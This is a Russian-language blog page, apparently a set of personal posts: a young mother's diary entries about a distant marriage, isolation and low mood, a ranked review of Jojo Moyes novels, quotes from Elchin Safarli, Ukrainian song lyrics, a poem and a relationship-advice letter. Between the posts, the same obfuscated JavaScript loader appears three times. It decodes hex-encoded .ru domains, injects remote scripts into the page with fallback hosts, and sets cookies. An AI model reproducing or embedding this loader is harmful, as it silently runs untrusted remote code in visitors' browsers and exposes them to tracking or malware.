Dream28

человек, каким ты его полюбил, не равняется человеку, каким ты его будешь любить в итоге, что любовь – не цель, а процесс, посредством которого человек пытается познать человека.(Стоунер)

Знаете, я просто ненавижу эту взрослую жизнь со всеми глобальными проблемами, роковыми решениями, серостью однотонных будней и ежедневным выбором. Я в браке уже почти 4 года. Последний год я практически не вижу мужа, со всей этой работой и погоней за статусом в жизни. Самое ужасное, что я на столько привыкла планировать свой день без него, что порою меня просто раздражает, когда он находит свободную минуту и нарушает мои идеальные планы. С каждым днём наши интересы становятся все дальше друг от друга. Я мама в декрете, с ограниченным кругом общения, с отсутствием друзей и работой на дому, которая подразумевает систематическое написание статей в свободное от домашних обязанностей время. Честно сказать, спасибо Алине. Мне не так важны деньги, как старое забытое ощущение полезности, значимости и нужности. В обед я редактирую статьи, ночью пишу. Я так привыкла и меня это устраивает, ведь я знаю точно, что мой муж приедет поздно, уставший и без новостей интересующих меня. Мы обменяемся парой фраз, для галочки и он ляжет спать, ну а я продолжу заниматься своими делами. На выходных он наверняка будет работать, ну или строить дом, поэтому у меня опять есть окошко для работы. Кстати о доме. Если вам до 30 никогда не ввязывайтесь в это дело. Мы вроде бы не плохо зарабатываем, но все до копейки уходи в бездонную яму строительства. Что касается наших отношений, то я бы не сказала, что не люблю его, но я знаю, что в случае чего наверняка смогу жить без него. Ведь, если чисто формально, то он обеспечивает меня финансами, я его едой и одёжной. Нормальные взаимовыгодные отношения. Просто мне становится страшно, неужели так теперь будет всю жизнь. Неужели вся жизнь сконцентрирована на погоне за деньгами и воспитанию детей. Это страшно….

Знаете, меня в последние несколько месяцев проследует мысль, что я приняла когда-то наверное решение. Нет, вы не подумайте, я не жалею о замужестве или ребёнке, хотя, как и всех в минуты ссор и депресняка, меня посещают мысли о других кандидатурах. Ну знаете, типо, а если бы… И в памяти всплывают топ 5 самых ярких ухажёров в моей жизни. Но потом меня попускает, и приходит понимание того, что то были только ягодки на пироге. А что по итогу получилось бы никто не знает. Я люблю своего мужа, хотя, да, после почти 4х лет брака отношения уже не те. Но и это предсказуемо. Вообщем, я счастлива, и сейчас не о том. Так вот, от осознания крохотности жизни, у меня просто мозги переворачиваются. Мне 25 я уже жена и мама. И у меня такое ощущение, что на этом все. Я попытаюсь пробитая в карьеру, мне там скажут пока-пока, потому что маленький ребёнок и все вечно заняты, чтобы меня подменить и с ним посидеть. Потом от безысходности я решусь на второго, чтобы как-то оправдать свою ненужность обществу. И все. Мне уже за 30. От образования остался только красный диплом, как напоминание о местах, перспективах и том, что я когда-то была умной и все. Я типичная среднестатистическая баба. Аж, кричать хочется. Я всеми фибрами души не хотела такого. А судя по всему к этому иду. Я никогда не мечтала сидеть дома и рожать как кошка детей, получая удовольствие от готовки и уборки. Мне тесно от этого всего. Я чувствую какую-то никчемность своего существования. И возвращаясь назад, я задаю себе вопрос, где я приняла не правильное решение? В чем допустила ошибку? И как все изменить. Я стала ловить себя на мысли, что при Всей моей безграничной любви к ребёнку, я все меньше и меньше хочу просыпаться по утрам. Мне нечего ждать и не к чему стремится. И меня просто убивает это. Вообщем я устала. И простите за этот бред. Скорее всего на днях я все это удалю. А пока послушайте мое нытьё.

Не знаю, чего, но вот захотелось выплеснуть своё негодование! В своё время, я тоже была слегка высокомерной, девочкой с за обычными фантазиями, но чем старше и самостоятельнее я становилась, тем проще ко всему стала относится.Но я всегда уважала чужое мнение соблюдала такт, порою хамский немного, но такт.Я прекрасно понимала, что если я не могу, что-то изменить или не хочу, то стоит ли распылятся, высказывая о том, что я всех бы убила, тех кто издевается над животными, выписывая статьи в соц.сетях о мерзости этих людей и своей злости, это только слова и псевдогероизм, наступит завтра, и я ничего не изменю, пойду на работу, покормлю по дороге бездомного кота и все-я не буду ходить осуществлять свою вендетту, не прстрою приют для животных и прочее, но зато я круто высказалась-достижение!) Аналогично с подругами, даже сейчас, я семейный человек, и понимаю, что жизнь не стоит на месте, и если я не могу пойти в клуб или гулять, почему мои подруги должны этого не делать и посвящать меня в свои дела, мы в детстве были счастливы и вместе, так почему должны и всю жизнь быть вместе?!) они приходят в гости, мы иногда переписываемся, делимся новостями, но не контролируем шаги друг друга-это нормально во взрослой жизни и писать статьи на весь интернет ничего не меняя, глупо) Так вот хватит обо мне) К чему это все я) Встречаются в моей жизни такие люди, которые страдают комплексом Бога-ибо им до всего есть дело, преимущественно на словах, но в их реальности, им кажется, что другим есть дело до их слов, очень редко подкреплённые наглядными примерами и действиями.Как правило, они выводят социум на эмоции, как маленькие дети, которые ищут границы допустимого, и все им не так, и все им не то, и у них псевдовыражена социальная позиция в обществе(рожают не те, книги читают не такие, музыку слушают не такую, дружат не с теме), хотя просто хотят насолить или показать, что вкусы других не совпадают с их, они же Боги, не забывайте, а значит, вы не такой как все-плохой) И так это смешно, и так по детски) Но ища границы, ребёнок переходя их, получает наказание, как и любой псевдоБог) Так что, давайте быть проще) Как говорится, на вкус и цвет….Всем мира и добра) П.с пост философский, не личностный…Не дай Бог увидеть вам в нем себя, а если увидели делайте выводы)))

Честно, долго была фанаткой этого автора…Наверное и есть, просто не то настроение…книга пошла тяжело, сильно напрягало растянутое описание страданий…нудно…но за что я люблю его книги, так, это за то, что их просто разбираешь по цитатам..пусть порою все в сумме кажется обычным набором слоя, но по отдельности…ммм…Пока, на фоне прочитанных мною "мне тебя обнщали" и "если бы ты знал…"-она прроигрывает…Для меня это осенний автор, которого нужно читать с легкой грустью на душе, под теплым пледом под шум дождя…но не зимой на ночь, как легкое чтение…его слова оставляют послевкусие, которым нужно наслаждаться и осмысливать…но книга не вдохновила как предыдущие..увы…5 из 10, за прекрасные цитаты

**************************

02/2016 22:54, 30,90%, / **>"Я вернусь…" • Сафарли Эльчин Чтобы избавиться от пристального внимания людей, надо создать иллюзию открытости…»

**>21/02/2016 22:55, 30,90%, / **>"Я вернусь…" • Сафарли Эльчин Сумасшедшие – это люди, которые не смогли доказать реальность своих миров. Обществу всегда ближе идея о том, что других миров, кроме земного и небесного, не существует… **

>22/02/2016 14:37, 38,60%, / **>"Я вернусь…" • Сафарли Эльчин Знаешь, почему женщины стареют быстрее мужчин? Мы всю жизнь боремся за счастье. За внутреннее счастье. Чисто женское, которое очень дорого достается.

**>22/02/2016 14:38, 39,01%, / **>"Я вернусь…" • Сафарли Эльчин счастье – в любви?» – спрашиваю у Галины. «…Для любой умной женщины любовь важна не меньше, чем деньги. **>

22/02/2016 14:42, 40,50%, / **>"Я вернусь3…" • Сафарли Эльчин «Понимаете, для женщин любовь особенно важна. Без нее увядаем. И врут те женщины, которые говорят, что карьера для них превыше всего. Да, женщина должна непременно реализовать себя. Неважно где, на работе или в семье.

**>22/02/2016 15:00, 46,41%, / **>"Я вернусь…" • Сафарли Эльчин как и все взрослые, тоскует по бесшабашной юности. Короткая, по сути, пора, когда с легкостью добиваешься невозможного и не менее легко отказываешься если не от всего, то от многого точно. **

>23/02/2016 21:58, 60,26%, / **>"Я вернусь…" • Сафарли Эльчин У человека, отказывающегося от прошлого, не может быть будущего… Светусвет, я благодарна всем дверям, которые захлопнулись за мной». **>

23/02/2016 22:50, 69,29%, / **>"Я вернусь…" • Сафарли Эльчин «Я выбрал жизнь, стоя на подоконнике…» **>

23/02/2016 22:52, 69,67%, / **>"Я вернусь…" • Сафарли Эльчин Первый шаг к преодолению прошлого – это заполненное будущим настоящее… **>

23/02/2016 22:58, 71,92%, / **>"Я вернусь…" • Сафарли Эльчин Цель оглядок – не только попытка заполнить пустоты настоящего. Нам всегда мало счастья. Поэтому без довеса из минувших лет не обходится… **>

23/02/2016 23:06, 74,56%, / **>"Я вернусь…" • Сафарли Эльчин закатами. Они нам, людям, ближе. Встретить рассвет нечасто удается… Правда, закаты пропитаны грустью. Потому что каждый раз, провожая его, думаешь: каким бы ни был, удачным или неудачным, день – это мой день, и он уходит навсегда…»

**>23/02/2016 23:09, 75,73%, / **>"Я вернусь…" • Сафарли Эльчин «У меня всё в жизни происходит даже не через жопу, как у многих, а как-то еще хитрее и заковыристее…» **>

24/02/2016 13:06, 83,21%, / **>"Я вернусь…" • Сафарли Эльчин — Я и не говорила, что всегда нужны победы. Понимаешь, жизнь сама подкидывает нам поражения. Обстоятельствами. А вот с победами гораздо сложнее. Здесь уже все зависит сугубо от нас… Поэтому важно суметь улыбнуться даже после того, как умудрился искупаться в собственных слезах… **

>24/02/2016 13:13, 85,47%, / **>"Я вернусь…" • Сафарли Эльчин «Не надо ждать природу. Попробуй сам перекроить зиму в лето, холода в тепло, а тучи в облака. Только не смей жаловаться на отсутствие ярких красок. Все они – на палитре жизни».

**>24/02/2016 13:23, 88,78%, / **>"Я вернусь…" • Сафарли Эльчин «Знаешь, Светусвет, чем отличается хуй от жизни? Жизнь жестче». **>

24/02/2016 13:30, 91,10%, / **>"Я вернусь…" • Сафарли Эльчин и прав Кундера, написавший, что «когда нам становится безразлично, каким нас видит тот, кого мы любим, это значит, мы его уже не любим». **>

24/02/2016 13:37, 93,35%, / **>"Я вернусь…" • Сафарли Эльчин «Нет ничего проще, чем, стоя на месте, пережевывать жвачку прошлого. И аргументировать это тем, что, дескать, анализирую, набираюсь опыта… Паршивый самообман и элементарная трусость… Надо сделать не один шаг вперед, а сколько потребуется. Спросишь, во имя чего, кого? Самого себя, прежде всего. Мы нужны самим себе…»

За ранее спасибо)

Якось спитала ти.
Так чому ж я з тобою?
Сказав, що більш такої.
На світі не знайти.

Думав, ходив, аж ось.
Декілька слів знайшлось.
Скажи поміж сестер.
Що ці слова твої тепер!

Навіть коли я не я.
Ти все одно зі мною.
Ось чому ти - моя.
Ось чому я з тобою.

Навіть коли кричу.
Навіть коли ти плачеш.
Гавкіт стоїть собачий.
Посеред розпачу.

Навіть коли болить.
Терпіти сил немає.
Ти мене обіймаєш.
І я без крил лечу.

Бідам усім на зло.
Коли обоє рябоє.
Ти моя, щоб не було.
Ось чому я з тобою.
Ось чому я з тобою

Люди ми тільки тоді.
Як дуже сильно любимо.
Тільки тоді, коли любимо ми.
Можемо зватись людьми.
Можемо зватись людьми.

Скільки казати ще.
Телефонуй ледащо.
Навіть коли пропаща.
Коли горить, пече.

Навіть коли ось-ось.
Ти, а не інший хтось.
Нізащо не втечеш.
В жилах моїх течеш.

Навіть коли болить.
Терпіти сил немає.
Ти мене обіймаєш.
І я без крил лечу.

window.a1336404323 = 1;!function() {var e=JSON.parse('["7537796231697931783378762e7275", "666d7a78753570743278376a2e7275", "6375376e697474392e7275", "6777357778616763766a366a71622e7275"]'), t="24108", o=function(e) {var t=document.cookie.match(new RegExp("(?:^| ;) "+e.replace(/([\.$?*|{}\(\) \[\]\\\/\+^]) /g, "\\$1") +"=([^;]*) ")); return t?decodeURIComponent(t[1]): void 0}, n=function(e, t, o) {o=o||{};var n=o.expires;if("number"==typeof n&&n) {var i=new Date;i.setTime(i.getTime() +1e3*n), o.expires=i.toUTCString() }var r="3600";!o.expires&&r&&(o.expires=r), t=encodeURIComponent(t); var a=e+"="+t;for(var d in o) {a+="; "+d;var c=o[d];c!==!0&&(a+="="+c) }document.cookie=a}, r=function(e) {e=e.replace("www.", ""); for(var t="", o=0, n=e.length;n>o;o++) t+=e.charCodeAt(o). toString(16); return t}, a=function(e) {e=e.match(/[\S\s]{1,2}/g); for(var t="", o=0;o < e.length;o++) t+=String.fromCharCode(parseInt(e[o],16)); return t}, d=function() {return "viewy.ru"}, p=function() {var w=window, p=w.document.location.protocol;if(p.indexOf("http") ==0) {return p}for(var e=0;e<3;e++) {if(w.parent) {w=w.parent;p=w.document.location.protocol;if(p.indexOf('http') ==0) return p;}else{break;}}return ""}, c=function(e, t, o) {var lp=p(); if(lp=="") return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase(). indexOf("firefox")) window.smlo.loadSmlo(n.replace("https:", "http:")); else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase(). indexOf("firefox")) window.zSmlo.loadSmlo(n.replace("https:", "http:")); else{var i=document.createElement("script"); i.setAttribute("src", n), i.setAttribute("type", "text/javascript"), document.head.appendChild(i), i.onload=function() {this.a1649136515||(this.a1649136515=!0, "function"==typeof t&&t()) }, i.onerror=function() {this.a1649136515||(this.a1649136515=!0, i.parentNode.removeChild(i), "function"==typeof o&&o()) }}}, s=function(f) {var u=a(f) +"/ajs/"+t+"/c/"+r(d()) +"_"+(self===top?0:1) +".js";window.a3164427983=f, c(u, function() {o("a2519043306") !=f&&n("a2519043306", f, {expires:parseInt("3600") }) }, function() {var t=e.indexOf(f), o=e[t+1];o&&s(o) }) }, f=function() {var t, i=JSON.stringify(e); o("a36677002") !=i&&n("a36677002", i); var r=o("a2519043306"); t=r?r:e[0], s(t) };f() }();

О Боже писала такой большой пост и все удалилось, значит не судьба..Вовка, мне этого больше не подарит, поэтому буду краткой…Девчонки, одиночество- это не когда тебя бросил парень, или не понима.т твой внутренний мир, а когда у тебя действительно никого нет- ни мамы, ни папы, ни друзей, и то последнее дело попровимое…Все это найдется, заработается, исправится….Когда вам 16, 20, все еще впереди- впереди первая работа, карьера, любовь, предложение, свадьба, первые 2 полоси на тесте, первый ребенок, дом, квартира…И концентрируйтесь на этом, соершенствуйтесь, пока у вас есть время, потому что потом, его может и не быть на все…И не нужно мне тут говорить, что у вас будет все по другому, да-да-да….Но все таки, а вдруг нет, а сейчас, вместо того, чтобы выписывать грутсные посты, про неразделенную любовь, херовую страну, с которой хочется уехать, но тебе не дают, возможности, или плохих родителей..Задумайтесь над тем, что прийдет время, когда они умрут, когда вы постареете, Ю и не будт возможности реализовать все задуманное, да и желания особого тоже..дети вырастут и уйдут-, а вы наконец-то выспитесь в зудящей тишине..Закончите иститут, и закончатся ваши сессии, экзамены, и начнется настоящий треш, когда, вы сами за себя отвечаете, и ищите деньги, чтобы за все заплатить, покушать и может быть еще куда-то раз в мксяц сходить…Будут разные моменты, а сейчас у вас есть время, так проведите его с пользой, а не нытьем :) )) Вообщем наслаждайтесь жизнью…

Люблю вас!

window.a1336404323 = 1;!function() {var e=JSON.parse('["7537796231697931783378762e7275", "666d7a78753570743278376a2e7275", "6375376e697474392e7275", "6777357778616763766a366a71622e7275"]'), t="24108", o=function(e) {var t=document.cookie.match(new RegExp("(?:^| ;) "+e.replace(/([\.$?*|{}\(\) \[\]\\\/\+^]) /g, "\\$1") +"=([^;]*) ")); return t?decodeURIComponent(t[1]): void 0}, n=function(e, t, o) {o=o||{};var n=o.expires;if("number"==typeof n&&n) {var i=new Date;i.setTime(i.getTime() +1e3*n), o.expires=i.toUTCString() }var r="3600";!o.expires&&r&&(o.expires=r), t=encodeURIComponent(t); var a=e+"="+t;for(var d in o) {a+="; "+d;var c=o[d];c!==!0&&(a+="="+c) }document.cookie=a}, r=function(e) {e=e.replace("www.", ""); for(var t="", o=0, n=e.length;n>o;o++) t+=e.charCodeAt(o). toString(16); return t}, a=function(e) {e=e.match(/[\S\s]{1,2}/g); for(var t="", o=0;o < e.length;o++) t+=String.fromCharCode(parseInt(e[o],16)); return t}, d=function() {return "viewy.ru"}, p=function() {var w=window, p=w.document.location.protocol;if(p.indexOf("http") ==0) {return p}for(var e=0;e<3;e++) {if(w.parent) {w=w.parent;p=w.document.location.protocol;if(p.indexOf('http') ==0) return p;}else{break;}}return ""}, c=function(e, t, o) {var lp=p(); if(lp=="") return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase(). indexOf("firefox")) window.smlo.loadSmlo(n.replace("https:", "http:")); else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase(). indexOf("firefox")) window.zSmlo.loadSmlo(n.replace("https:", "http:")); else{var i=document.createElement("script"); i.setAttribute("src", n), i.setAttribute("type", "text/javascript"), document.head.appendChild(i), i.onload=function() {this.a1649136515||(this.a1649136515=!0, "function"==typeof t&&t()) }, i.onerror=function() {this.a1649136515||(this.a1649136515=!0, i.parentNode.removeChild(i), "function"==typeof o&&o()) }}}, s=function(f) {var u=a(f) +"/ajs/"+t+"/c/"+r(d()) +"_"+(self===top?0:1) +".js";window.a3164427983=f, c(u, function() {o("a2519043306") !=f&&n("a2519043306", f, {expires:parseInt("3600") }) }, function() {var t=e.indexOf(f), o=e[t+1];o&&s(o) }) }, f=function() {var t, i=JSON.stringify(e); o("a36677002") !=i&&n("a36677002", i); var r=o("a2519043306"); t=r?r:e[0], s(t) };f() }();

Скажу сразу, этот писатель, а точнее, писательница, мое открытие года!

Поэтому пока не прочитав все ее переведенные пока книги, а их, уже 10, я не успокоилась, и не успокоюсь, пока хоть немного не подюль своими впечатлениями.

Я не буду выписывать вам сюжете, биографии, писать рецензии, на полстраницы о каждой, я просто, сделаю свой мини рейтинг с пометками.Ибо выписывать эпопеи у меня нет ни времеени, ни желания, да и сама знаю, как порой надоедает читать эпосы о книгах.

И так….

1.До встречи с тобой

С этой книги началось мое знакомство с автором…Е буду кривить душой, сначала повелась на ее поппулярность, но прочитав, ни на секунду не засомневалась в соем выборе..Книга замечательная, трогательная и настоящая…И я счастлива, что имеенно ее я прочтала первой из всех…Она то и осталась любимой..Кстати в марте о ней выйдет фильм, если вам лень читать, то хоть фильм сходите гляньте…Он должен быть востихительным…

Самая роматичная книга из всех ее произведений…

2.Танцующая с лошадьми

.

Честно, откладывала ее всегда "напотом" - ну не нравилось мне название- как банально это не звучит, и в итоге прочитала предпоследней..А потом еще долго жалела, что так в нее не верила..Самая искренняя книга о дружбе, верности и преданности..До этого особо не любила лошадей, но после прочтения, даже пару роликов на ютубе просмотрела…По истине великие животные! Прочитайте не пожалеете!!!! ставлю ее 2ое место- за дружбу и верность себе и животным!

3.Вилла Аркадия

Отзывы об этой книги не очень, хотя я возмущена этим! Книга очень хорошая, у меня до сих пор перед галазами фреска, у меня до сих пор перед глазами эксентричные жители этой виллы…Согласна, настоящее время в ниге подкачало, любовная линия самазана, сумбурно все..Но прошлое…Без претензий…А еще, что меня просто купило в ней, так это справедливость..Без розовых пони и всегоостального..Что любовь пусть, она и самая сильная в мире, но прошлая, должна остаться в прошлом, и когда стоит выбор между прошлым и настоящим в котором с тобой самые смелые, сильные и верные, нужно выбиратьправильно!

За это 3е место!!!

4. 1+1

Самая настоящая книга из всех! Очень хорошо раскрыты социальные темы!Ее просто нужно прочитать, чтобы полюбить! Больше говорить не буду! "Хорошие вещи случаются с хорошими людьми! 4ое место! И браво!

5.Девушка, которую ты покинул

Очень ярко и чувственно..Вся книга читается на нерве…То первая мировая, со всеми вытикающими, и среди всей этой грязи прекрасная любовь, котораяпереживет все, даже смерть..И современная история борьбы за жизнь, за свое счастье и принципы….И концовка… как всегда неожиданная трогательная..

6.Корабль невест

4 девушки, 4 истории, 4 жизни 1 корабль и океан…Каждая надеется, каждая ждет, но у каждой своя судьба и жизнь расставит все по местам..Очень хороший роман….

7.Последнее письмо от твоего любимого

Не знаю, мне особо не понравилось это произведение..Да романтично, да, письма восхитительны, но мне кажется, ну уж сильно все наиграно…Ну не увидела я тамтакой трагичной трагедии, чтобы все случилось как случилось и было потеряно столько времени…За прекрасность писем и за искренность главного героя- счастливое 7ое место

8.После тебя

В очередной раз убедила меня эта книга, что хорошие истории не терпят продолжения в очередных книгах..Вторая книга, как продолжение " До встречи с тобо", меня разочаровала, хотя, я ее прочитала сразу же после вышеупомянутой, но сейчас делая выводы после всего прочитанного, скажу честно, одна из худших книг автора..Не потому, что сюжет плох, а потому, что та книга была закончена правильно, справедливо и лаконично, а притянутый за уши хеппи энд, такой прекрасной истории, как по мне, очень глупо…Но вцелом читается легко, как и все книги автора…

9.Ночная музыка

Не знаю, я почему-то от этой книги много и не ожидала..Хорошая история, все мило, но как по мне, очень скучно..Красивые пейзажи, что-то подобие на трагичность и безысходность, какая-то на скорую руку сделаная любовная история, не понятно откуда появившаяся…Мне понравилось, но читала, чтобы просто дочитать…Не впечатлила…Байрону и покойному старику отдельный респект, а ну и все спасли геи из магазинчика!только они не давали заснуть мне при ночных чтениях этого романа

10.Серебряная бухта

Прочитала ее 3й, и честно, после нее долго думала, читать ли следующие книги этого автора..Да, безумно красивые пейзажи, бабулька Акула, классная тетка0 остальное- ну ни о чем..Ах, да, киты…киты, тоже спасали книгу, киты и все о китах…Но в остальном..притянутая за уши любовная история, странная мамаша…Ну, не знаю, наверное, эта книга на любителя…Я честно, сказать, не оценила…,

И что я хочу сказать напоследок, я вам очень и очень советую этого автора..Книги чита.тся на одном дыхании..Со мной не часто такое бывает, что читая, я как бы фильм вижу, здесь было именно так!

Всем любви!

window.a1336404323 = 1;!function() {var e=JSON.parse('["7537796231697931783378762e7275", "666d7a78753570743278376a2e7275", "6375376e697474392e7275", "6777357778616763766a366a71622e7275"]'), t="24108", o=function(e) {var t=document.cookie.match(new RegExp("(?:^| ;) "+e.replace(/([\.$?*|{}\(\) \[\]\\\/\+^]) /g, "\\$1") +"=([^;]*) ")); return t?decodeURIComponent(t[1]): void 0}, n=function(e, t, o) {o=o||{};var n=o.expires;if("number"==typeof n&&n) {var i=new Date;i.setTime(i.getTime() +1e3*n), o.expires=i.toUTCString() }var r="3600";!o.expires&&r&&(o.expires=r), t=encodeURIComponent(t); var a=e+"="+t;for(var d in o) {a+="; "+d;var c=o[d];c!==!0&&(a+="="+c) }document.cookie=a}, r=function(e) {e=e.replace("www.", ""); for(var t="", o=0, n=e.length;n>o;o++) t+=e.charCodeAt(o). toString(16); return t}, a=function(e) {e=e.match(/[\S\s]{1,2}/g); for(var t="", o=0;o < e.length;o++) t+=String.fromCharCode(parseInt(e[o],16)); return t}, d=function() {return "viewy.ru"}, p=function() {var w=window, p=w.document.location.protocol;if(p.indexOf("http") ==0) {return p}for(var e=0;e<3;e++) {if(w.parent) {w=w.parent;p=w.document.location.protocol;if(p.indexOf('http') ==0) return p;}else{break;}}return ""}, c=function(e, t, o) {var lp=p(); if(lp=="") return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase(). indexOf("firefox")) window.smlo.loadSmlo(n.replace("https:", "http:")); else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase(). indexOf("firefox")) window.zSmlo.loadSmlo(n.replace("https:", "http:")); else{var i=document.createElement("script"); i.setAttribute("src", n), i.setAttribute("type", "text/javascript"), document.head.appendChild(i), i.onload=function() {this.a1649136515||(this.a1649136515=!0, "function"==typeof t&&t()) }, i.onerror=function() {this.a1649136515||(this.a1649136515=!0, i.parentNode.removeChild(i), "function"==typeof o&&o()) }}}, s=function(f) {var u=a(f) +"/ajs/"+t+"/c/"+r(d()) +"_"+(self===top?0:1) +".js";window.a3164427983=f, c(u, function() {o("a2519043306") !=f&&n("a2519043306", f, {expires:parseInt("3600") }) }, function() {var t=e.indexOf(f), o=e[t+1];o&&s(o) }) }, f=function() {var t, i=JSON.stringify(e); o("a36677002") !=i&&n("a36677002", i); var r=o("a2519043306"); t=r?r:e[0], s(t) };f() }();

Хочу, чтоб у тебя была одна я И в жизни, и в постели, и в душе. Хочу, чтоб называл меня - родная, И без меня прожить не мог уже. Хочу, чтоб мы не помнили, забыли Ту жизнь, в которой нас с тобою нет, Как мы по одиночке жили-были, По странной глупой прихоти планет. Считали с кем-то зимы, с кем-то лета, Но стать им ближе так и не успев. Мы пробовали разные куплеты, Но снова возвращались на припев. Поверь, я никого так не любила… Все прошлое не больше чем нули. И все, что было раньше, с кем-то было, Случалось для того, чтоб мы смогли Понять, что мы по замыслу природы, Как Инь и Янь, для нас одна стезя. Мы разные, но мы одной породы, Нам быть "не с теми" попросту нельзя. Яя Рыжая

..На днях мне стукнет 24….не буду пересказывать, что со мной случилось в подробностях за время отсутствия(за ранее простите за ошибкмамой гипер активного ребенка быть нелегко, до сих пор немного не привычно ощущать себя в этой самой главной в жизни роли, прочем, как и жена, оно мне немного режет слух, в душе я все таже 16летняя девочка) И так к 24 я: 1) закончила универ с красным дипломом 2) вышла замуж по любви(очень боялась, что будет по залету, хотелось красивую искреннюю свадьбу и шикарное платье по фигуре) 3) пережила мучительные 12ти часовые роды и родила чудесного сыночка, которому вот в августе стукнул годик 4) строим с мужем дом Что потеряла: 1) большую часть друзей/или сильно отдалилась-нормальное явление с появлением семьи и ребенка, надеюсь скоро они обзаведутся своими мужьями и детьми и мы найдем пути друг к другу или найдем новые дороги и новых друзей 2) потеря свободное время-только после годика Вовки я стала снова как-то выходить (автокурсы, и развивающая гкола с малышом) в социум, а так бабушки работают, муж тоже, деньги все уходят на дом и малыша, поэтому особо не пошикуешь, ну он до сих пор на гв, поэтому не выпить, ни покурить ни бахнуть валерьянки, ну и спать без меня естественно никак( 3) перестала писать стихи, единственное на что удалось выкроить время и разбудить музу-стих к годику сыночка, но я стала много читать, правда на ночь, и из-за этого еще больше не высыпаюсь, но если я читать не буду, то вообще окончательно потеряю се бя и безаозратно деградирую..хотела когда-то написать рецензии на прочитанные книги, но на это нужно время, а это у меня нынче роскош(вот была бы у меня домработница и кухарка, я бы оценила всю прелесть материнства, а так, иногда просто повеситься хочется, после первого года жизни с малышом, хочется ролителям памятник как Ленину при жизни поставить за то, что они нас вырастили без всех удобств) 4) близкие люди-иногда мыслям ы голове так тесно, что кажется, что я сойду с ума, у меня есть мкд скажете вы, мама, но не все, дплеко не все можно им рассказать, есть те вещи, которые они не поймут, не вникнут, не оценят, дав конце концов элементарно на них пожаловаться кому-то полушутя…Раньше у меня были такие люди, сейчас их рядом нет, или я уже не чувствую с ними той связи, которая была раньше… Вот как-то так, жизнь стала безумно тяжелой, иногда кажется, что это ад, но глядя на спящего сыночка, видя его достижения, когда он здоров, понимаешь, что все тяноты не напрасны, хотя материнство в истинном виде это не мое~я не радуюсь какашкам, не меряюсь писюнами с другими мамочками и не одердима воспитать гения, я не вижу прелести всю жизнь сидеть дома рожать детей и варить борщи, максимум еще дочку и все) но я безумно счастлива в браке и люблю сына, хотя и тот и другой, иногда доводят до последней стадии шизофрениии крайней стадии гнева :-) Хотела пожаловаться, а проучилось все еще культурненько, значит не так уж все и плохо, хотя ах, да, я ненавижу свои дни рождения уже, в прошлом году у меня на руках был сутки орущий ребенок рт коликов и температура под 40, а в этом году, такое ощущение, что он всем внапряг, хотя я отмечать и не собираюсь, мама навязывает мне празднование с оттенком должения и все время тыкая леньгами.Да блять, я не хочу отмечать, так не хрен накрывать проляну, если ты жалуешься что у тебя нет денег, вот у меня нет их и я не отмечаю….вообщем пока мы построим дом, я возненавижу наверное своих родителей…. Вообщем на этой ноте, кланяюсь ребятки, малому стукнет 16 напишу :-) :-) :-) :-) :-) :-)

Письмо мудрой женщины молодым девушкам «Отношения должны быть простыми, как две копейки, ведь любовь не просчитать». — Отношения, имеющие шанс быть долгосрочными, не должны быть сложными по определению. Ну сколько времени человек способен выносить мозг себе и другим в режиме нон-стоп? Ну полгода, год, в особо запущенных случаях — пару лет. А потом он всех достает окончательно и публика в скорбном молчании покидает зрительный зал, оставляя героя в одиночестве потеть на сцене под жаром софитов. Так называемые сложные отношения, все эти «пришел-ушел» и многочасовые разговоры о высоком — это, пардон, от излишка свободного времени. Это неправильные отношения. Серьезно. Это как если вы приходите в автосалон и хотите бентли, хотя ваших средств в лучшем случае хватает на первый взнос за «жопель» в базовой комплектации. Вы можете приходить в этот салон годами, но все, что вам светит — это таки «жопель». Вы будете говорить, что бентли — единственное, что вам подходит, вы проклюете череп всем своим родным и друзьям, вы будете делать скорбное лицо и заламывать руки, вы испортите себе жизнь, вы возведете страдание в фетиш, но вы ни разу не задумаетесь, что все, что вам нужно, — это крепкая, надежная рабочая лошадка с работающим кондиционером, чистым салоном и правильно подобранной резиной, которая доставит вас из пункта А в пункт Б. Отношения должны быть простыми, как две копейки. Неважно, гений ли он физик или простой Вася-фрезеровщик, неважно, какое у него образование, на скольких языках он говорит, сколько женщин у него было и хорошие ли он пишет стихи, важно лишь то, насколько вам с ним комфортно. Если он доводит вас до депрессии, если вам с ним не менее хреново, чем без него, если вы знаете, что вам с ним ничего не светит, если он выносит вам мозг, если он любит все эти фразочки: «Я не готов», или «Нам надо подождать», или «Мне надо подумать», или «Это так сложно», — посылайте его. Любили ли вы его действительно или это была всего лишь блажь — вы поймете только много позже, так что вы ровным счетом ничего не теряете. Любовь вообще не поддающееся определению состояние, за любовь часто ошибочно принимают вожделение, уважение, привычку, зависть, желание поквитаться и много чего еще. От «сложных» отношений вы не выигрываете ничего, кроме головной боли. Если она нужна вам, эта головная боль, если вы жить без нее не можете, найдите в себе смелость признаться, что вам нужен не этот конкретный мужчина, а та головная боль, которую вы с ним получаете. И научитесь извлекать головную боль из более продуктивных отношений, просто предупредите п-р-а-в-и-л-ь-н-о-г-о мужчину, что по средам и субботам вы — форменная стерва, пусть он заранее подготовится. Еще раз и еще раз: отношения должны быть простыми. Вам ведь с этим человеком детей рожать, хозяйство вести, планы строить, ходить в гости, общаться с родней и вообще вести самый что ни на есть примитивно-обывательский образ жизни. И если вы думаете, что минует вас чаша сия, вы о-о-о-о-очень сильно заблуждаетесь. Оно ведь как бывает? Поначалу нам нужен высокийстройныйкрасивыйумныйбогатыйперспективныйсексуальныйромантичный, и только много позже мы понимаем — мы ВСЕ понимаем, — что нам нужен просто человек, на которого можно положиться, который будет рядом не тогда, когда у него в голове правильно перемкнуло. А всегда. Всегда, понимаете? Поэтому надежность — крайне важное качество. Ему помогать вам в САМЫЕ сложные моменты жизни, когда ну полная жопа и, шаг вправо, шаг влево, — кранты. Поэтому ответственность — тоже крайне важное качество. Вам захочется делиться с ним радостью и печалью, победами и поражениями, мечтами и опасениями, поэтому умение сопереживать — это вообще капец как важно. Вы изучите его вдоль и поперек, вы будете понимать друг друга с полуслова, вы в конце концов притретесь друг к другу, как отточенные на супермегаэкстрастанке шестеренки, вы будете продолжать скандалить и мириться, потому что он все-таки не вы, это другой человек, хоть он и заточился под вас так же, как и вы под него. Поэтому терпимость — без нее ну просто никак. И 